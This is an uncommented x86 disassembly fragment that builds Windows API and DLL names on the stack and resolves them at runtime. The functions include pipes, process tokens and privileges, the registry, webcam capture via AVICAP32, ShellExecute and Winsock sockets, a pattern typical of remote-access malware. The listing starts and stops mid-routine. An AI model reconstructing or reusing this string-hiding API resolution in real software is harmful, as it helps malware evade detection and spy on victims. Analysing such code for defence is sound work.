push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x70
push 0x69
push 0x50
push ebp
push ebx
push 0x61
mov dword [edi + 0x24], eax
push ebp
push 0x72
lea eax, [esp + 0x40]
push 0x43
push eax
call fcn.004105df
add esp, 0x30
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x6c
push 0x64
push 0x6e
push 0x61
push 0x48
push ebp
push ebx
push 0x61
push 0x63
push 0x69
push 0x6c
mov dword [edi + 0x28], eax
push 0x70
push 0x75
lea eax, [esp + 0x54]
push 0x44
push eax
call fcn.004105df
add esp, 0x44
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebx
push 0x6e
push ebp
push 0x76
push 0x45
push 0x6e
mov dword [edi + 0x2c], eax
push ebp
push 0x70
lea eax, [esp + 0x40]
push 0x4f
push eax
call fcn.004105df
add esp, 0x30
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x64
push 0x61
push ebp
push 0x72
push 0x68
push 0x54
push ebp
push ebx
push 0x61
mov dword [edi + 0x30], eax
push ebp
push 0x72
lea eax, [esp + 0x48]
push 0x43
push eax
call fcn.004105df
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x7a
push 0x69
push 0x53
push ebp
push 0x6c
push 0x69
push 0x46
mov dword [edi + 0x34], eax
push ebx
push ebp
lea eax, [esp + 0x44]
push 0x47
push eax
call fcn.004105df
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x70
push ebp
mov dword [edi + 0x38], eax
push ebp
push 0x6c
lea eax, [esp + 0x2c]
push 0x53
push eax
call fcn.004105df
add esp, 0x1c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x6c
push 0x69
push 0x46
push ebp
push ebx
push ebp
mov dword [edi + 0x3c], eax
push 0x6c
push ebp
lea eax, [esp + 0x44]
push 0x44
push eax
call fcn.004105df
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x6c
push 0x64
push 0x6e
push 0x61
push 0x48
push ebp
push 0x73
mov dword [edi + 0x40], eax
push 0x6f
push 0x6c
lea eax, [esp + 0x44]
push 0x43
push eax
call fcn.004105df
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x6e
push ebp
push 0x76
push 0x45
mov dword [edi + 0x44], eax
push ebx
push ebp
lea eax, [esp + 0x38]
push 0x53
push eax
call fcn.004105df
add esp, 0x28
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x6c
push 0x69
push 0x46
push 0x64
mov dword [edi + 0x48], eax
push 0x61
push ebp
lea eax, [esp + 0x38]
push 0x52
push eax
call fcn.004105df
add esp, 0x28
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x6c
push 0x69
push 0x46
push ebp
push ebx
push 0x61
mov dword [edi + 0x4c], eax
push ebp
push 0x72
lea eax, [esp + 0x44]
push 0x43
push eax
call fcn.004105df
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
mov dword [edi + 0x50], eax
push 0x41
push 0x68
push ebx
push 0x61
push 0x50
push 0x70
push 0x6d
push ebp
push 0x54
push ebx
push ebp
lea eax, [esp + 0x48]
push 0x47
push eax
call fcn.004105df
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x79
push 0x72
push 0x6f
push ebx
push 0x63
push ebp
push 0x72
push 0x69
push 0x44
push 0x6d
push ebp
push ebx
push 0x73
push 0x79
push 0x53
mov dword [edi + 0x54], eax
push ebx
push ebp
lea eax, [esp + 0x64]
push 0x47
push eax
call fcn.004105df
add esp, 0x54
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x79
push 0x72
push 0x6f
push ebx
push 0x63
push ebp
push 0x72
push 0x69
push 0x44
push 0x73
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
push 0x57
mov dword [edi + 0x58], eax
push ebx
push ebp
lea eax, [esp + 0x68]
push 0x47
push eax
call fcn.004105df
add esp, 0x58
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
mov dword [edi + 0x5c], eax
push ebp
push 0x73
push 0x6f
push 0x6c
push 0x43
push 0x64
push 0x6e
push 0x69
lea eax, [esp + 0x3c]
push 0x46
push eax
call fcn.004105df
add esp, 0x2c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x6c
push 0x69
push 0x46
push ebx
push 0x73
push 0x72
push 0x69
push 0x46
push 0x64
mov dword [edi + 0x60], eax
push 0x6e
push 0x69
lea eax, [esp + 0x50]
push 0x46
push eax
call fcn.004105df
add esp, 0x40
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebx
push 0x6e
push ebp
push 0x76
push 0x45
push ebp
push ebx
push 0x61
mov dword [edi + 0x64], eax
push ebp
push 0x72
lea eax, [esp + 0x48]
push 0x43
push eax
call fcn.004105df
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x64
push 0x61
push ebp
push 0x72
push 0x68
push 0x54
push ebp
push ebx
push 0x61
push 0x6e
push 0x69
push 0x6d
mov dword [edi + 0x68], eax
push 0x72
push ebp
lea eax, [esp + 0x54]
push 0x54
push eax
call fcn.004105df
add esp, 0x44
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x63
push ebp
push 0x6a
push 0x62
push 0x4f
push ebp
push 0x6c
push 0x67
push 0x6e
push 0x69
push 0x53
push 0x72
push 0x6f
push 0x46
push ebx
mov dword [edi + 0x6c], eax
push 0x69
push 0x61
lea eax, [esp + 0x64]
push 0x57
push eax
call fcn.004105df
add esp, 0x54
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x6d
push 0x61
push 0x4e
push ebp
push 0x6c
push 0x69
push 0x46
push ebp
push 0x6c
push 0x75
push 0x64
push 0x6f
push 0x4d
mov dword [edi + 0x70], eax
push ebx
push ebp
lea eax, [esp + 0x60]
push 0x47
push eax
call fcn.004105df
add esp, 0x50
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x6c
push 0x69
push 0x46
push ebp
push ebx
mov dword [edi + 0x74], eax
push 0x69
push 0x72
lea eax, [esp + 0x3c]
push 0x57
push eax
call fcn.004105df
add esp, 0x2c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x6e
push ebp
push 0x76
push 0x45
push ebx
push ebp
mov dword [edi + 0x78], eax
push 0x73
push ebp
lea eax, [esp + 0x40]
push 0x52
push eax
call fcn.004105df
add esp, 0x30
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push ebx
push 0x63
push ebp
push 0x6a
push 0x62
push 0x4f
push ebp
push 0x6c
push 0x70
push 0x69
push ebx
push 0x6c
push 0x75
push 0x4d
push 0x72
push 0x6f
push 0x46
push ebx
mov dword [edi + 0x7c], eax
push 0x69
push 0x61
lea eax, [esp + 0x70]
push 0x57
push eax
call fcn.004105df
add esp, 0x60
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x6d
push 0x61
push 0x4e
push 0x68
push ebx
push 0x61
push 0x50
push ebx
push 0x72
push 0x6f
push 0x68
push 0x53
mov dword [edi + 0x80], eax
push ebx
push ebp
lea eax, [esp + 0x5c]
push 0x47
push eax
call fcn.004105df
add esp, 0x4c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
mov dword [edi + 0x84], eax
push 0
push 0x41
push 0x79
push 0x72
push 0x6f
push ebx
push 0x63
push ebp
push 0x72
push 0x69
push 0x44
push ebp
push ebx
push 0x61
push ebp
push 0x72
lea eax, [esp + 0x58]
push 0x43
push eax
call fcn.004105df
add esp, 0x48
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x6e
push 0x75
push 0x6f
push 0x43
push 0x6b
push 0x63
push 0x69
push 0x54
mov dword [edi + 0x88], eax
push ebx
push ebp
lea eax, [esp + 0x48]
push 0x47
push eax
call fcn.004105df
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x73
push ebp
push ebx
push 0x75
push 0x62
push 0x69
push 0x72
push ebx
push ebx
push 0x41
push ebp
push 0x6c
push 0x69
push 0x46
mov dword [edi + 0x8c], eax
push ebx
push ebp
lea eax, [esp + 0x60]
push 0x53
push eax
call fcn.004105df
add esp, 0x50
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x73
push ebp
mov dword [edi + 0x90], eax
push ebx
push 0x75
push 0x62
push 0x69
push 0x72
push ebx
push ebx
push 0x41
push ebp
push 0x6c
push 0x69
push 0x46
push ebx
push ebp
lea eax, [esp + 0x60]
push 0x47
push eax
call fcn.004105df
add esp, 0x50
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x72
push 0x61
push 0x68
push 0x43
push ebp
push 0x64
push 0x69
push 0x57
push 0x6f
push 0x54
push ebp
push ebx
push 0x79
push 0x42
push 0x69
push ebx
mov dword [edi + 0x94], eax
push 0x6c
push 0x75
lea eax, [esp + 0x64]
push 0x4d
push eax
call fcn.004105df
add esp, 0x54
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push 0x75
push ebx
push 0x61
push ebx
push 0x53
push 0x6e
push 0x6f
push 0x69
push ebx
push ebp
push 0x6c
push 0x70
push 0x6d
push 0x6f
push 0x43
push 0x64
push ebp
push 0x75
push ebp
push 0x75
push 0x51
mov dword [edi + 0x98], eax
push ebx
push ebp
lea eax, [esp + 0x7c]
push 0x47
push eax
call fcn.004105df
add esp, 0x6c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push 0x75
push ebx
push 0x61
push ebx
push 0x53
push 0x6e
push 0x6f
push 0x69
push ebx
push ebp
push 0x6c
push 0x70
push 0x6d
push 0x6f
push 0x43
push 0x64
push ebp
push 0x75
push ebp
push 0x75
push 0x51
push ebx
mov dword [edi + 0x9c], eax
push 0x73
push 0x6f
lea eax, [esp + 0x80]
push 0x50
push eax
call fcn.004105df
add esp, 0x70
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x72
push 0x6f
mov dword [edi + 0xa0], eax
pop eax
push eax
push 0x50
push 0x6e
push eax
push 0x69
push ebx
push ebp
push 0x6c
push 0x70
push 0x6d
push eax
push 0x43
push eax
push 0x49
push ebp
push ebx
push 0x61
push ebp
push 0x72
lea eax, [esp + 0x70]
push 0x43
push eax
call fcn.004105df
add esp, 0x60
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x70
mov dword [edi + 0xa4], eax
push 0x79
push 0x54
push ebp
push 0x76
push 0x69
push 0x72
push 0x44
push ebx
push ebp
lea eax, [esp + 0x4c]
push 0x47
push eax
call fcn.004105df
add esp, 0x3c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x6e
push 0x6f
push 0x69
push ebx
push 0x61
push 0x6d
push 0x72
push 0x6f
push 0x66
push 0x6e
push 0x49
push ebp
push 0x6d
push 0x75
push 0x6c
push 0x6f
push 0x56
mov dword [edi + 0xa8], eax
push ebx
push ebp
lea eax, [esp + 0x6c]
push 0x47
push eax
call fcn.004105df
add esp, 0x5c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x72
push ebp
push ebx
push 0x6e
push 0x69
push 0x6f
push 0x50
push ebp
push 0x6c
push 0x69
push 0x46
mov dword [edi + 0xac], eax
push ebx
push ebp
lea eax, [esp + 0x50]
push 0x53
push eax
call fcn.004105df
add esp, 0x40
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x6d
push 0x61
push 0x4e
push 0x68
mov dword [edi + 0xb0], eax
push ebx
push 0x61
push 0x50
push 0x67
push 0x6e
push 0x6f
push 0x4c
push ebx
push ebp
lea eax, [esp + 0x58]
push 0x47
push eax
call fcn.004105df
add esp, 0x48
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x6c
push 0x69
push 0x46
push ebx
push 0x78
push ebp
push 0x4e
push 0x64
mov dword [edi + 0xb4], eax
push 0x6e
push 0x69
lea eax, [esp + 0x4c]
push 0x46
push eax
call fcn.004105df
add esp, 0x3c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x6e
push 0x6f
push 0x69
push ebx
push 0x63
push ebp
push 0x53
push 0x6c
push 0x61
push 0x63
push 0x69
push ebx
push 0x69
push 0x72
push 0x43
push 0x72
push ebp
mov dword [edi + 0xb8], eax
push ebx
push 0x6e
lea eax, [esp + 0x68]
push 0x45
push eax
call fcn.004105df
add esp, 0x58
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x6e
push 0x6f
push 0x69
push ebx
push 0x63
push ebp
push 0x53
push 0x6c
mov dword [edi + 0xbc], eax
push 0x61
push 0x63
push 0x69
push ebx
push 0x69
push 0x72
push 0x43
push ebp
push 0x76
push 0x61
push ebp
lea eax, [esp + 0x68]
push 0x4c
push eax
call fcn.004105df
add esp, 0x58
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x6e
push 0x6f
push 0x69
push ebx
push 0x63
push ebp
push 0x53
push 0x6c
push 0x61
push 0x63
push 0x69
push ebx
push 0x69
push 0x72
push 0x43
push ebp
push ebx
push ebp
mov dword [edi + 0xc0], eax
push 0x6c
push ebp
lea eax, [esp + 0x6c]
push 0x44
push eax
call fcn.004105df
add esp, 0x5c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x6e
push 0x6f
push 0x69
mov dword [edi + 0xc4], eax
pop eax
push eax
push ebx
push 0x63
push ebp
push 0x53
push 0x6c
push 0x61
push 0x63
push eax
push ebx
push eax
push 0x72
push 0x43
push ebp
push 0x7a
push eax
push 0x6c
push 0x61
push eax
push ebx
push eax
push 0x6e
lea eax, [esp + 0x7c]
push 0x49
push eax
call fcn.004105df
add esp, 0x6c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x64
push 0x61
push ebp
push 0x72
push 0x68
push 0x54
push ebp
push 0x64
push 0x6f
push 0x43
push ebx
push 0x69
push 0x78
push 0x45
mov dword [edi + 0xc8], eax
push ebx
push ebp
lea eax, [esp + 0x5c]
push 0x47
push eax
call fcn.004105df
add esp, 0x4c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x72
push 0x6f
push 0x72
push 0x72
push 0x45
push ebx
push 0x73
push 0x61
push 0x4c
mov dword [edi + 0xcc], eax
push ebx
push ebp
lea eax, [esp + 0x48]
push 0x47
push eax
call fcn.004105df
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x4c
push 0x4c
push 0x44
push 0x2e
push 0x49
push 0x50
mov dword [edi + 0xd0], eax
push 0x41
push 0x53
lea eax, [esp + 0x104]
push 0x50
push eax
call fcn.004105df
add esp, 0x2c
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x41
push 0x78
push 0x45
push ebp
push 0x6d
mov dword [esp + 0x28], eax
push 0x61
push 0x4e
push ebp
push 0x6c
push 0x69
push 0x46
push ebp
push 0x6c
push 0x75
push 0x64
push 0x6f
push 0x4d
push ebx
push ebp
lea eax, [esp + 0x68]
push 0x47
push eax
call fcn.004105df
add esp, 0x58
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push ebp
push 0x6c
push 0x75
push 0x64
push 0x6f
push 0x4d
push 0x73
push 0x73
push ebp
push 0x63
push 0x6f
push 0x72
push 0x50
push 0x6d
mov dword [edi + 0xd4], eax
push 0x75
push 0x6e
lea eax, [esp + 0x60]
push 0x45
push eax
call fcn.004105df
add esp, 0x50
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x4c
push 0x4c
push 0x44
push 0x2e
push 0x32
push 0x33
push 0x50
push 0x41
push 0x43
mov dword [edi + 0xd8], eax
push 0x49
push 0x56
lea eax, [esp + 0x110]
push 0x41
push eax
call fcn.004105df
add esp, 0x38
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x41
push 0x77
push 0x6f
push 0x64
push 0x6e
push 0x69
push 0x57
mov dword [esp + 0x30], eax
push ebp
push 0x72
push 0x75
push ebx
push 0x70
push 0x61
push 0x43
push ebp
push ebx
push 0x61
push ebp
push 0x72
push 0x43
push 0x70
push 0x61
lea eax, [esp + 0x74]
push 0x63
push eax
call fcn.004105df
add esp, 0x64
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x6e
push 0x6f
push 0x69
push ebx
push 0x70
push 0x69
push 0x72
push 0x63
push 0x73
push ebp
push 0x44
push 0x72
push ebp
push 0x76
push 0x69
push 0x72
push 0x44
push ebx
push ebp
push 0x47
mov dword [edi + 0xdc], eax
push 0x70
push 0x61
lea eax, [esp + 0x78]
push 0x63
push eax
call fcn.004105df
add esp, 0x68
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x4c
push 0x4c
push 0x44
push 0x2e
push 0x32
push 0x33
push 0x49
push 0x50
push 0x41
mov dword [edi + 0xe0], eax
push 0x56
push 0x44
lea eax, [esp + 0x110]
push 0x41
push eax
call fcn.004105df
add esp, 0x38
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
mov dword [esp + 0x14], eax
push 0x79
push ebp
push 0x4b
push ebp
push 0x73
push 0x6f
push 0x6c
push 0x43
push 0x67
push ebp
lea eax, [esp + 0x44]
push 0x52
push eax
call fcn.004105df
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x75
push 0x6c
push 0x61
push 0x56
push 0x6d
push 0x75
push 0x6e
push 0x45
mov dword [edi + 0xe4], eax
push 0x67
push ebp
lea eax, [esp + 0x4c]
push 0x52
push eax
call fcn.004105df
add esp, 0x3c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x79
push ebp
push 0x4b
push 0x6f
push 0x66
push 0x6e
push 0x49
push 0x79
push 0x72
push ebp
push 0x75
push 0x51
mov dword [edi + 0xe8], eax
push 0x67
push ebp
lea eax, [esp + 0x58]
push 0x52
push eax
call fcn.004105df
add esp, 0x48
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push 0x78
push 0x45
push 0x79
push ebp
push 0x4b
push 0x6e
push ebp
push 0x70
push 0x4f
push 0x67
mov dword [edi + 0xec], eax
push ebp
lea eax, [esp + 0x4c]
push 0x52
push eax
call fcn.004105df
add esp, 0x3c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x6e
push ebp
push 0x6b
push 0x6f
push 0x54
push 0x73
push 0x73
push ebp
push 0x63
push 0x6f
push 0x72
push 0x50
push 0x6e
mov dword [edi + 0xf0], eax
push ebp
push 0x70
lea eax, [esp + 0x58]
push 0x4f
push eax
call fcn.004105df
add esp, 0x48
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push ebp
push 0x67
push ebp
push 0x6c
push 0x69
push 0x76
push 0x69
push 0x72
push 0x50
push 0x6e
push ebp
push 0x6b
push 0x6f
push 0x54
push ebx
push 0x73
push 0x75
mov dword [edi + 0xf4], eax
push 0x6a
push 0x64
lea eax, [esp + 0x6c]
push 0x41
push eax
call fcn.004105df
add esp, 0x5c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push 0x75
push 0x6c
push 0x61
push 0x56
push ebp
push 0x67
push ebp
push 0x6c
push 0x69
push 0x76
mov dword [edi + 0xf8], eax
push 0x69
push 0x72
push 0x50
push 0x70
push 0x75
push 0x6b
push 0x6f
push 0x6f
lea eax, [esp + 0x6c]
push 0x4c
push eax
call fcn.004105df
add esp, 0x5c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x4c
push 0x4c
push 0x44
push 0x2e
push 0x4d
push 0x4d
mov dword [edi + 0xfc], eax
push 0x4e
push 0x49
lea eax, [esp + 0x104]
push 0x57
push eax
call fcn.004105df
add esp, 0x2c
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push ebx
push 0x6e
push ebp
push 0x76
push 0x45
push ebx
push ebp
push 0x53
push ebp
mov dword [esp + 0x38], eax
push 0x6d
push 0x69
lea eax, [esp + 0x48]
push ebx
push eax
call fcn.004105df
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x6e
push ebp
push 0x76
push 0x45
push 0x6c
push 0x6c
push 0x69
push 0x4b
push ebp
mov dword [edi + 0x100], eax
push 0x6d
push 0x69
lea eax, [esp + 0x4c]
push ebx
push eax
call fcn.004105df
add esp, 0x3c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
mov dword [edi + 0x104], eax
push 0
push 0x4c
push 0x4c
push 0x44
push 0x2e
push 0x32
push 0x33
push 0x45
push 0x4c
lea eax, [esp + 0x104]
push 0x4f
push eax
call fcn.004105df
add esp, 0x2c
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push ebp
push 0x7a
push 0x69
mov dword [esp + 0x20], eax
pop eax
push eax
push 0x6c
push 0x61
push eax
push ebx
push eax
push 0x6e
push eax
push 0x6e
push 0x55
push 0x6f
lea eax, [esp + 0x50]
push 0x43
push eax
call fcn.004105df
add esp, 0x40
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x64
push 0x69
push 0x75
push 0x47
push ebp
push ebx
push 0x61
push ebp
push 0x72
mov dword [edi + 0x108], eax
push 0x43
push 0x6f
lea eax, [esp + 0x48]
push 0x43
push eax
call fcn.004105df
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x7a
push 0x69
push 0x6c
push 0x61
push 0x69
push ebx
push 0x69
push 0x6e
mov dword [edi + 0x10c], eax
push 0x49
push 0x6f
lea eax, [esp + 0x48]
push 0x43
push eax
call fcn.004105df
add esp, 0x38
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x4c
mov dword [edi + 0x110], eax
pop eax
push eax
push eax
push 0x44
push 0x2e
push 0x32
push 0x33
push eax
push eax
push 0x45
push 0x48
lea eax, [esp + 0x10c]
push 0x53
push eax
call fcn.004105df
add esp, 0x34
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x41
push 0x6e
push 0x6f
push 0x69
push ebx
push 0x61
push 0x72
push ebp
push 0x70
push 0x4f
push ebp
push 0x6c
push 0x69
mov dword [esp + 0x48], eax
push 0x46
push 0x48
lea eax, [esp + 0x58]
push 0x53
push eax
call fcn.004105df
add esp, 0x48
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x41
push ebp
push ebx
push 0x75
push 0x63
push ebp
push 0x78
push 0x45
push 0x6c
push 0x6c
mov dword [edi + 0x114], eax
push ebp
push 0x68
lea eax, [esp + 0x4c]
push 0x53
push eax
call fcn.004105df
add esp, 0x3c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x4c
push 0x4c
mov dword [edi + 0x118], eax
push 0x44
push 0x2e
push 0x32
push 0x33
push 0x5f
push 0x32
push 0x53
lea eax, [esp + 0x108]
push 0x57
push eax
call fcn.004105df
add esp, 0x30
lea eax, [esp + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0x6c
push ebx
push 0x63
push 0x6f
push 0x49
mov dword [esp + 0x28], eax
push 0x41
push 0x53
lea eax, [esp + 0x38]
push 0x57
push eax
call fcn.004105df
add esp, 0x28
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push ebp
push 0x6b
mov dword [edi + 0x11c], eax
push 0x63
push 0x6f
lea eax, [esp + 0x30]
push 0x73
push eax
call fcn.004105df
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push ebp
push 0x6b
push 0x63
push 0x6f
push 0x73
push ebp
push 0x73
mov dword [edi + 0x120], eax
push 0x6f
push 0x6c
lea eax, [esp + 0x44]
push 0x63
push eax
call fcn.004105df
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x64
mov dword [edi + 0x124], eax
push 0x6e
push 0x69
lea eax, [esp + 0x28]
push 0x62
push eax
call fcn.004105df
add esp, 0x18
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x6d
push 0x61
push 0x6e
push 0x79
push 0x62
push ebx
push 0x73
push 0x6f
push 0x68
mov dword [edi + 0x128], eax
push ebx
push ebp
lea eax, [esp + 0x4c]
push 0x67
push eax
call fcn.004105df
add esp, 0x3c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x70
push 0x75
push ebx
push 0x72
push 0x61
push ebx
push 0x53
mov dword [edi + 0x12c], eax
push 0x41
push 0x53
lea eax, [esp + 0x40]
push 0x57
push eax
call fcn.004105df
add esp, 0x30
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x70
push 0x75
push 0x6e
push 0x61
push ebp
push 0x6c
push 0x43
mov dword [edi + 0x130], eax
push 0x41
push 0x53
lea eax, [esp + 0x40]
push 0x57
push eax
call fcn.004105df
add esp, 0x30
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push 0x6e
mov dword [edi + 0x134], eax
push 0x6f
push ebx
lea eax, [esp + 0x2c]
push 0x68
push eax
call fcn.004105df
add esp, 0x1c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
mov dword [edi + 0x138], eax
push 0
push 0x6f
push ebx
push 0x64
push 0x6e
push ebp
lea eax, [esp + 0x30]
push 0x73
push eax
call fcn.004105df
add esp, 0x20
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x73
push 0x68
mov dword [edi + 0x13c], eax
push 0x6f
push ebx
lea eax, [esp + 0x2c]
push 0x6e
push eax
call fcn.004105df
add esp, 0x1c
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x72
push 0x6f
push 0x72
push 0x72
push 0x45
push ebx
push 0x73
push 0x61
push 0x4c
push ebx
push ebp
push 0x47
mov dword [edi + 0x140], eax
push 0x41
push 0x53
lea eax, [esp + 0x54]
push 0x57
push eax
call fcn.004105df
add esp, 0x44
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x6d
push 0x6f
push 0x72
push 0x66
push 0x76
mov dword [edi + 0x144], eax
push 0x63
push ebp
lea eax, [esp + 0x38]
push 0x72
push eax
call fcn.004105df
add esp, 0x28
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x6d
push 0x61
push 0x6e
push 0x6b
mov dword [edi + 0x148], eax
push 0x63
push 0x6f
push 0x73
push ebx
push ebp
lea eax, [esp + 0x44]
push 0x67
push eax
call fcn.004105df
add esp, 0x34
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x6e
push 0x77
push 0x6f
push 0x64
push ebx
mov dword [edi + 0x14c], eax
push 0x75
push 0x68
lea eax, [esp + 0x38]
push 0x73
push eax
call fcn.004105df
add esp, 0x28
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebx
push 0x63
push ebp
push 0x6e
mov dword [edi + 0x150], eax
push 0x6e
push 0x6f
lea eax, [esp + 0x34]
push 0x63
push eax
call fcn.004105df
add esp, 0x24
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x64
mov dword [edi + 0x154], eax
push 0x6e
push ebp
lea eax, [esp + 0x28]
push 0x73
push eax
call fcn.004105df
add esp, 0x18
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push 0x76
mov dword [edi + 0x158], eax
push 0x63
push ebp
lea eax, [esp + 0x28]
push 0x72
push eax
call fcn.004105df
add esp, 0x18
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call esi
push 0
push ebp
push 0x6d
